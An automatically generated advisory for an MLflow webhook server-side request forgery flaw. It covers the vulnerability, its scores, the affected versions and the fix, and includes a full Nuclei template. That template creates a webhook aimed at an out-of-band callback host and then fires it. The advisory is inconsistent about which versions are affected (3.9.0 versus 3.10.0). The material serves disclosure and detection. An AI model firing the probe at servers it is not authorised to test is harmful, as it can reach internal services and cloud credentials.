CVE-2026-2393: mlflow mlflow/mlflow advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The `_create_webhook()` function in `mlflow/server/handlers.py` accepts a user-controlled `url` parameter without validation, and the `_send_webhook_request()` function in `mlflow/webhooks/delivery.py` sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.

Description quoted from the CVE record (assigned by @huntr_ai, published 2026-05-11).

Weakness: CWE-918 Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-29093, GHSA-65h7-c7c4-mghx

VEDAS cluster: VEDAS:CRYSTALCINDER

Exploit Observer links 2 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (2)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-2393.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-2393.yaml

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-29093
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-65h7-c7c4-mghx
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-2393
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-2393
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-65h7-c7c4-mghx

4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.003
low predicted chance of attack
VEDAS: 0.973
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei

Who is affected

Product	Affected	Not affected
mlflow mlflow/mlflow	before 3.10.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: lfprojects mlflow, pypi mlflow.

How to fix it

Fixed versions stated in the CVE record: 3.10.0.

How to detect it

Nuclei template (active check)

MLflow - Server-Side Request Forgery via Webhook
MLflow prior to 3.9.0 is vulnerable to Server-Side Request Forgery through its webhook feature. The webhook creation endpoint (POST /api/2.0/mlflow/webhooks) accepts an attacker-controlled `url` field without scheme or destination validation, and the webhook test endpoint (POST /api/2.0/mlflow/webhooks/{webhook_id}/test) makes the MLflow backend issue an HTTP request to that URL. An attacker can coerce the server into contacting internal services or cloud metadata endpoints. The tracking server ships without authentication by default.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /api/2.0/mlflow/webhooks, POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-2393.yaml

Show the template (59 lines)

yaml

id: CVE-2026-2393

info:
  name: "MLflow - Server-Side Request Forgery via Webhook"
  author: vedas-arpsyndicate
  severity: high
  description: |
    MLflow prior to 3.9.0 is vulnerable to Server-Side Request Forgery through its webhook feature.
    The webhook creation endpoint (POST /api/2.0/mlflow/webhooks) accepts an attacker-controlled
    `url` field without scheme or destination validation, and the webhook test endpoint
    (POST /api/2.0/mlflow/webhooks/{webhook_id}/test) makes the MLflow backend issue an HTTP request
    to that URL. An attacker can coerce the server into contacting internal services or cloud
    metadata endpoints. The tracking server ships without authentication by default.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-2393&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2026-2393
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,mlflow,ssrf,oast

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vedas-{{randstr}}","url":"http://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        group: 1
        regex:
          - '"webhook_id":\s*"([^"]+)"'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
      - type: dsl
        dsl:
          - 'contains(body_1, "webhook_id")'

CVE-2026-2393.yaml on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.